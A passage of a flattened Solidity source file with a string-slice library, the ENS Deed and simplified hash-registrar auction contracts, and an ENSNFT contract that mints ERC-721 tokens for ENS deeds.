value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-termintaed utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal returns (slice ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal returns (string) { var ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal returns (uint l) { // Starting at ptr-31 means the LSB will be the byte we care about var ptr = self._ptr - 31; var end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice self) internal returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; var selfptr = self._ptr; var otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); var diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice self, slice rune) internal returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint leng; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { leng = 1; } else if(b < 0xE0) { leng = 2; } else if(b < 0xF0) { leng = 3; } else { leng = 4; } // Check for truncated codepoints if (leng > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += leng; self._len -= leng; rune._len = leng; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice self) internal returns (slice ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice self) internal returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } var b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if(b < 0xE0) { ret = b & 0x1F; length = 2; } else if(b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice self) internal returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, length), sha3(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } var selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } var selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 68 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) let end := add(selfptr, sub(selflen, needlelen)) ptr := selfptr loop: jumpi(exit, eq(and(mload(ptr), mask), needledata)) ptr := add(ptr, 1) jumpi(loop, lt(sub(ptr, 1), end)) ptr := add(selfptr, selflen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr; for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 69 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) ptr := add(selfptr, sub(selflen, needlelen)) loop: jumpi(ret, eq(and(mload(ptr), mask), needledata)) ptr := sub(ptr, 1) jumpi(loop, gt(add(ptr, 1), selfptr)) ptr := selfptr jump(exit) ret: ptr := add(ptr, needlelen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice self, slice needle) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice self, slice needle) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal returns (slice token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice self, slice needle, slice token) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice self, slice needle) internal returns (slice token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal returns (uint cnt) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { cnt++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false otherwise. */ function contains(slice self, slice needle) internal returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice self, slice other) internal returns (string) { var ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal returns (string) { if (parts.length == 0) return ""; uint length = self._len * (parts.length - 1); for(uint i = 0; i < parts.length; i++) length += parts[i]._len; var ret = new string(length); uint retptr; assembly { retptr := add(ret, 32) } for(i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } // File: contracts/Metadata.sol /* pragma experimental ABIEncoderV2; */ /** * CloversMetadata contract is upgradeable and returns metadata about Clovers */ contract Metadata { using strings for *; function tokenURI(uint _tokenId) public view returns (string _infoUrl) { string memory base = "https://ensnifty.com/metadata?hash=0x"; string memory id = uint2hexstr(_tokenId); return base.toSlice().concat(id.toSlice()); } function uint2hexstr(uint i) internal pure returns (string) { if (i == 0) return "0"; uint j = i; uint length; while (j != 0) { length++; j = j >> 4; } uint mask = 15; bytes memory bstr = new bytes(length); uint k = length - 1; while (i != 0){ uint curr = (i & mask); bstr[k--] = curr > 9 ? byte(55 + curr) : byte(48 + curr); // 55 = 65 - 10 i = i >> 4; } return string(bstr); } } // File: contracts/@ensdomains/ens/contracts/Deed.sol /** * @title Deed to hold ether in exchange for ownership of a node * @dev The deed can be controlled only by the registrar and can only send ether back to the owner. */ contract Deed { address constant burn = 0xdead; address public registrar; address public owner; address public previousOwner; uint public creationDate; uint public value; bool active; event OwnerChanged(address newOwner); event DeedClosed(); modifier onlyRegistrar { require(msg.sender == registrar); _; } modifier onlyActive { require(active); _; } function Deed(address _owner) public payable { owner = _owner; registrar = msg.sender; creationDate = now; active = true; value = msg.value; } function setOwner(address newOwner) public onlyRegistrar { require(newOwner != 0); previousOwner = owner; // This allows contracts to check who sent them the ownership owner = newOwner; OwnerChanged(newOwner); } function setRegistrar(address newRegistrar) public onlyRegistrar { registrar = newRegistrar; } function setBalance(uint newValue, bool throwOnFailure) public onlyRegistrar onlyActive { // Check if it has enough balance to set the value require(value >= newValue); value = newValue; // Send the difference to the owner require(owner.send(this.balance - newValue) || !throwOnFailure); } /** * @dev Close a deed and refund a specified fraction of the bid value * * @param refundRatio The amount*1/1000 to refund */ function closeDeed(uint refundRatio) public onlyRegistrar onlyActive { active = false; require(burn.send(((1000 - refundRatio) * this.balance)/1000)); DeedClosed(); destroyDeed(); } /** * @dev Close a deed and refund a specified fraction of the bid value */ function destroyDeed() public { require(!active); // Instead of selfdestruct(owner), invoke owner fallback function to allow // owner to log an event if desired; but owner should also be aware that // its fallback function can also be invoked by setBalance if (owner.send(this.balance)) { selfdestruct(burn); } } } // File: contracts/@ensdomains/ens/contracts/ENS.sol interface ENS { // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed node, address owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed node, address resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed node, uint64 ttl); function setSubnodeOwner(bytes32 node, bytes32 label, address owner) public; function setResolver(bytes32 node, address resolver) public; function setOwner(bytes32 node, address owner) public; function setTTL(bytes32 node, uint64 ttl) public; function owner(bytes32 node) public view returns (address); function resolver(bytes32 node) public view returns (address); function ttl(bytes32 node) public view returns (uint64); } // File: contracts/@ensdomains/ens/contracts/HashRegistrarSimplified.sol /* Temporary Hash Registrar ======================== This is a simplified version of a hash registrar. It is purporsefully limited: names cannot be six letters or shorter, new auctions will stop after 4 years. The plan is to test the basic features and then move to a new contract in at most 2 years, when some sort of renewal mechanism will be enabled. */ /** * @title Registrar * @dev The registrar handles the auction process for each subnode of the node it owns. */ contract Registrar { ENS public ens; bytes32 public rootNode; mapping (bytes32 => Entry) _entries; mapping (address => mapping (bytes32 => Deed)) public sealedBids; enum Mode { Open, Auction, Owned, Forbidden, Reveal, NotYetAvailable } uint32 constant totalAuctionLength = 5 days; uint32 constant revealPeriod = 48 hours; uint32 public constant launchLength = 8 weeks; uint constant minPrice = 0.01 ether; uint public registryStarted; event AuctionStarted(bytes32 indexed hash, uint registrationDate); event NewBid(bytes32 indexed hash, address indexed bidder, uint deposit); event BidRevealed(bytes32 indexed hash, address indexed owner, uint value, uint8 status); event HashRegistered(bytes32 indexed hash, address indexed owner, uint value, uint registrationDate); event HashReleased(bytes32 indexed hash, uint value); event HashInvalidated(bytes32 indexed hash, string indexed name, uint value, uint registrationDate); struct Entry { Deed deed; uint registrationDate; uint value; uint highestBid; } modifier inState(bytes32 _hash, Mode _state) { require(state(_hash) == _state); _; } modifier onlyOwner(bytes32 _hash) { require(state(_hash) == Mode.Owned && msg.sender == _entries[_hash].deed.owner()); _; } modifier registryOpen() { require(now >= registryStarted && now <= registryStarted + 4 years && ens.owner(rootNode) == address(this)); _; } /** * @dev Constructs a new Registrar, with the provided address as the owner of the root node. * * @param _ens The address of the ENS * @param _rootNode The hash of the rootnode. */ function Registrar(ENS _ens, bytes32 _rootNode, uint _startDate) public { ens = _ens; rootNode = _rootNode; registryStarted = _startDate > 0 ? _startDate : now; } /** * @dev Start an auction for an available hash * * @param _hash The hash to start an auction on */ function startAuction(bytes32 _hash) public registryOpen() { Mode mode = state(_hash); if (mode == Mode.Auction) return; require(mode == Mode.Open); Entry storage newAuction = _entries[_hash]; newAuction.registrationDate = now + totalAuctionLength; newAuction.value = 0; newAuction.highestBid = 0; AuctionStarted(_hash, newAuction.registrationDate); } /** * @dev Start multiple auctions for better anonymity * * Anyone can start an auction by sending an array of hashes that they want to bid for. * Arrays are sent so that someone can open up an auction for X dummy hashes when they * are only really interested in bidding for one. This will increase the cost for an * attacker to simply bid blindly on all new auctions. Dummy auctions that are * open but not bid on are closed after a week. * * @param _hashes An array of hashes, at least one of which you presumably want to bid on */ function startAuctions(bytes32[] _hashes) public { for (uint i = 0; i < _hashes.length; i ++) { startAuction(_hashes[i]); } } /** * @dev Submit a new sealed bid on a desired hash in a blind auction * * Bids are sent by sending a message to the main contract with a hash and an amount. The hash * contains information about the bid, including the bidded hash, the bid amount, and a random * salt. Bids are not tied to any one auction until they are revealed. The value of the bid * itself can be masqueraded by sending more than the value of your actual bid. This is * followed by a 48h reveal period. Bids revealed after this period will be burned and the ether unrecoverable. * Since this is an auction, it is expected that most public hashes, like known domains and common dictionary * words, will have multiple bidders pushing the price up. * * @param sealedBid A sealedBid, created by the shaBid function */ function newBid(bytes32 sealedBid) public payable { require(address(sealedBids[msg.sender][sealedBid]) == 0x0); require(msg.value >= minPrice); // Creates a new hash contract with the owner Deed newBid = (new Deed).value(msg.value)(msg.sender); sealedBids[msg.sender][sealedBid] = newBid; NewBid(sealedBid, msg.sender, msg.value); } /** * @dev Start a set of auctions and bid on one of them * * This method functions identically to calling `startAuctions` followed by `newBid`, * but all in one transaction. * * @param hashes A list of hashes to start auctions on. * @param sealedBid A sealed bid for one of the auctions. */ function startAuctionsAndBid(bytes32[] hashes, bytes32 sealedBid) public payable { startAuctions(hashes); newBid(sealedBid); } /** * @dev Submit the properties of a bid to reveal them * * @param _hash The node in the sealedBid * @param _value The bid amount in the sealedBid * @param _salt The sale in the sealedBid */ function unsealBid(bytes32 _hash, uint _value, bytes32 _salt) public { bytes32 seal = shaBid(_hash, msg.sender, _value, _salt); Deed bid = sealedBids[msg.sender][seal]; require(address(bid) != 0); sealedBids[msg.sender][seal] = Deed(0); Entry storage h = _entries[_hash]; uint value = min(_value, bid.value()); bid.setBalance(value, true); var auctionState = state(_hash); if (auctionState == Mode.Owned) { // Too late! Bidder loses their bid. Gets 0.5% back. bid.closeDeed(5); BidRevealed(_hash, msg.sender, value, 1); } else if (auctionState != Mode.Reveal) { // Invalid phase revert(); } else if (value < minPrice || bid.creationDate() > h.registrationDate - revealPeriod) { // Bid too low or too late, refund 99.5% bid.closeDeed(995); BidRevealed(_hash, msg.sender, value, 0); } else if (value > h.highestBid) { // New winner // Cancel the other bid, refund 99.5% if (address(h.deed) != 0) { Deed previousWinner = h.deed; previousWinner.closeDeed(995); } // Set new winner // Per the rules of a vickery auction, the value becomes the previous highestBid h.value = h.highestBid; // will be zero if there's only 1 bidder h.highestBid = value; h.deed = bid; BidRevealed(_hash, msg.sender, value, 2); } else if (value > h.value) { // Not winner, but affects second place h.value = value; bid.closeDeed(995); BidRevealed(_hash, msg.sender, value, 3); } else { // Bid doesn't affect auction bid.closeDeed(995); BidRevealed(_hash, msg.sender, value, 4); } } /** * @dev Cancel a bid * * @param seal The value returned by the shaBid function */ function cancelBid(address bidder, bytes32 seal) public { Deed bid = sealedBids[bidder][seal]; // If a sole bidder does not `unsealBid` in time, they have a few more days // where they can call `startAuction` (again) and then `unsealBid` during // the revealPeriod to get back their bid value. // For simplicity, they should call `startAuction` within // 9 days (2 weeks - totalAuctionLength), otherwise their bid will be // cancellable by anyone. require(address(bid) != 0 && now >= bid.creationDate() + totalAuctionLength + 2 weeks); // Send the canceller 0.5% of the bid, and burn the rest. bid.setOwner(msg.sender); bid.closeDeed(5); sealedBids[bidder][seal] = Deed(0); BidRevealed(seal, bidder, 0, 5); } /** * @dev Finalize an auction after the registration date has passed * * @param _hash The hash of the name the auction is for */ function finalizeAuction(bytes32 _hash) public onlyOwner(_hash) { Entry storage h = _entries[_hash]; // Handles the case when there's only a single bidder (h.value is zero) h.value = max(h.value, minPrice); h.deed.setBalance(h.value, true); trySetSubnodeOwner(_hash, h.deed.owner()); HashRegistered(_hash, h.deed.owner(), h.value, h.registrationDate); } /** * @dev The owner of a domain may transfer it to someone else at any time. * * @param _hash The node to transfer * @param newOwner The address to transfer ownership to */ function transfer(bytes32 _hash, address newOwner) public onlyOwner(_hash) { require(newOwner != 0); Entry storage h = _entries[_hash]; h.deed.setOwner(newOwner); trySetSubnodeOwner(_hash, newOwner); } /** * @dev After some time, or if we're no longer the registrar, the owner can release * the name and get their ether back. * * @param _hash The node to release */ function releaseDeed(bytes32 _hash) public onlyOwner(_hash) { Entry storage h = _entries[_hash]; Deed deedContract = h.deed; require(now >= h.registrationDate + 1 years || ens.owner(rootNode) != address(this)); h.value = 0; h.highestBid = 0; h.deed = Deed(0); _tryEraseSingleNode(_hash); deedContract.closeDeed(1000); HashReleased(_hash, h.value); } /** * @dev Submit a name 6 characters long or less. If it has been registered, * the submitter will earn 50% of the deed value. * * We are purposefully handicapping the simplified registrar as a way * to force it into being restructured in a few years. * * @param unhashedName An invalid name to search for in the registry. */ function invalidateName(string unhashedName) public inState(keccak256(unhashedName), Mode.Owned) { require(strlen(unhashedName) <= 6); bytes32 hash = keccak256(unhashedName); Entry storage h = _entries[hash]; _tryEraseSingleNode(hash); if (address(h.deed) != 0) { // Reward the discoverer with 50% of the deed // The previous owner gets 50% h.value = max(h.value, minPrice); h.deed.setBalance(h.value/2, false); h.deed.setOwner(msg.sender); h.deed.closeDeed(1000); } HashInvalidated(hash, unhashedName, h.value, h.registrationDate); h.value = 0; h.highestBid = 0; h.deed = Deed(0); } /** * @dev Allows anyone to delete the owner and resolver records for a (subdomain of) a * name that is not currently owned in the registrar. If passing, eg, 'foo.bar.eth', * the owner and resolver fields on 'foo.bar.eth' and 'bar.eth' will all be cleared. * * @param labels A series of label hashes identifying the name to zero out, rooted at the * registrar's root. Must contain at least one element. For instance, to zero * 'foo.bar.eth' on a registrar that owns '.eth', pass an array containing * [keccak256('foo'), keccak256('bar')]. */ function eraseNode(bytes32[] labels) public { require(labels.length != 0); require(state(labels[labels.length - 1]) != Mode.Owned); _eraseNodeHierarchy(labels.length - 1, labels, rootNode); } /** * @dev Transfers the deed to the current registrar, if different from this one. * * Used during the upgrade process to a permanent registrar. * * @param _hash The name hash to transfer. */ function transferRegistrars(bytes32 _hash) public onlyOwner(_hash) { address registrar = ens.owner(rootNode); require(registrar != address(this)); // Migrate the deed Entry storage h = _entries[_hash]; h.deed.setRegistrar(registrar); // Call the new registrar to accept the transfer Registrar(registrar).acceptRegistrarTransfer(_hash, h.deed, h.registrationDate); // Zero out the Entry h.deed = Deed(0); h.registrationDate = 0; h.value = 0; h.highestBid = 0; } /** * @dev Accepts a transfer from a previous registrar; stubbed out here since there * is no previous registrar implementing this interface. * * @param hash The sha3 hash of the label to transfer. * @param deed The Deed object for the name being transferred in. * @param registrationDate The date at which the name was originally registered. */ function acceptRegistrarTransfer(bytes32 hash, Deed deed, uint registrationDate) public { hash; deed; registrationDate; // Don't warn about unused variables } // State transitions for names: // Open -> Auction (startAuction) // Auction -> Reveal // Reveal -> Owned // Reveal -> Open (if nobody bid) // Owned -> Open (releaseDeed or invalidateName) function state(bytes32 _hash) public view returns (Mode) { Entry storage entry = _entries[_hash]; if (!isAllowed(_hash, now)) { return Mode.NotYetAvailable; } else if (now < entry.registrationDate) { if (now < entry.registrationDate - revealPeriod) { return Mode.Auction; } else { return Mode.Reveal; } } else { if (entry.highestBid == 0) { return Mode.Open; } else { return Mode.Owned; } } } function entries(bytes32 _hash) public view returns (Mode, address, uint, uint, uint) { Entry storage h = _entries[_hash]; return (state(_hash), h.deed, h.registrationDate, h.value, h.highestBid); } /** * @dev Determines if a name is available for registration yet * * Each name will be assigned a random date in which its auction * can be started, from 0 to 8 weeks * * @param _hash The hash to start an auction on * @param _timestamp The timestamp to query about */ function isAllowed(bytes32 _hash, uint _timestamp) public view returns (bool allowed) { return _timestamp > getAllowedTime(_hash); } /** * @dev Returns available date for hash * * The available time from the `registryStarted` for a hash is proportional * to its numeric value. * * @param _hash The hash to start an auction on */ function getAllowedTime(bytes32 _hash) public view returns (uint) { return registryStarted + ((launchLength * (uint(_hash) >> 128)) >> 128); // Right shift operator: a >> b == a / 2**b } /** * @dev Hash the values required for a secret bid * * @param hash The node corresponding to the desired namehash * @param value The bid amount * @param salt A random value to ensure secrecy of the bid * @return The hash of the bid values */ function shaBid(bytes32 hash, address owner, uint value, bytes32 salt) public pure returns (bytes32) { return keccak256(hash, owner, value, salt); } function _tryEraseSingleNode(bytes32 label) internal { if (ens.owner(rootNode) == address(this)) { ens.setSubnodeOwner(rootNode, label, address(this)); bytes32 node = keccak256(rootNode, label); ens.setResolver(node, 0); ens.setOwner(node, 0); } } function _eraseNodeHierarchy(uint idx, bytes32[] labels, bytes32 node) internal { // Take ownership of the node ens.setSubnodeOwner(node, labels[idx], address(this)); node = keccak256(node, labels[idx]); // Recurse if there are more labels if (idx > 0) { _eraseNodeHierarchy(idx - 1, labels, node); } // Erase the resolver and owner records ens.setResolver(node, 0); ens.setOwner(node, 0); } /** * @dev Assign the owner in ENS, if we're still the registrar * * @param _hash hash to change owner * @param _newOwner new owner to transfer to */ function trySetSubnodeOwner(bytes32 _hash, address _newOwner) internal { if (ens.owner(rootNode) == address(this)) ens.setSubnodeOwner(rootNode, _hash, _newOwner); } /** * @dev Returns the maximum of two unsigned integers * * @param a A number to compare * @param b A number to compare * @return The maximum of two unsigned integers */ function max(uint a, uint b) internal pure returns (uint) { if (a > b) return a; else return b; } /** * @dev Returns the minimum of two unsigned integers * * @param a A number to compare * @param b A number to compare * @return The minimum of two unsigned integers */ function min(uint a, uint b) internal pure returns (uint) { if (a < b) return a; else return b; } /** * @dev Returns the length of a given string * * @param s The string to measure the length of * @return The length of the input string */ function strlen(string s) internal pure returns (uint) { s; // Don't warn about unused variables // Starting here means the LSB will be the byte we care about uint ptr; uint end; assembly { ptr := add(s, 1) end := add(mload(s), ptr) } for (uint len = 0; ptr < end; len++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if (b < 0xE0) { ptr += 2; } else if (b < 0xF0) { ptr += 3; } else if (b < 0xF8) { ptr += 4; } else if (b < 0xFC) { ptr += 5; } else { ptr += 6; } } return len; } } // File: contracts/ENSNFT.sol /* pragma experimental ABIEncoderV2; */ contract ENSNFT is ERC721Token, Ownable { event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); address metadata; Registrar registrar; constructor (string _name, string _symbol, Registrar _registrar, Metadata _metadata) public ERC721Token(_name, _symbol) { registrar = _registrar; metadata = _metadata; } function getMetadata() public view returns (address) { return metadata; } // this function uses assembly to delegate a call because it returns a string // of variable length which is not currently allowed without ABIEncoderV2 enabled function tokenURI(uint _tokenId) public view returns (string _infoUrl) { address _impl = getMetadata(); bytes memory data = msg.data; assembly { let result := delegatecall(gas, _impl, add(data, 0x20), mload(data), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } // this is how it would be done if returning a variable length were allowed // return Metadata(metadata).tokenMetadata(_tokenId); } function updateMetadata(Metadata _metadata) public onlyOwner { metadata = _metadata; } function mint(bytes32 _hash) public { address deedAddress; (, deedAddress, , , ) = registrar.entries(_hash); Deed deed = Deed(deedAddress); require(deed.owner() == address(this)); require(deed.previousOwner() == msg.sender); uint256 tokenId = uint256(_hash); // dont do math on this _mint(deed.previousOwner(), tokenId); } function burn(uint256 tokenId) { require(ownerOf(tokenId) == msg.sender); _burn(msg.sender, tokenId); registrar.transfer(bytes32(tokenId), msg.sender); } }
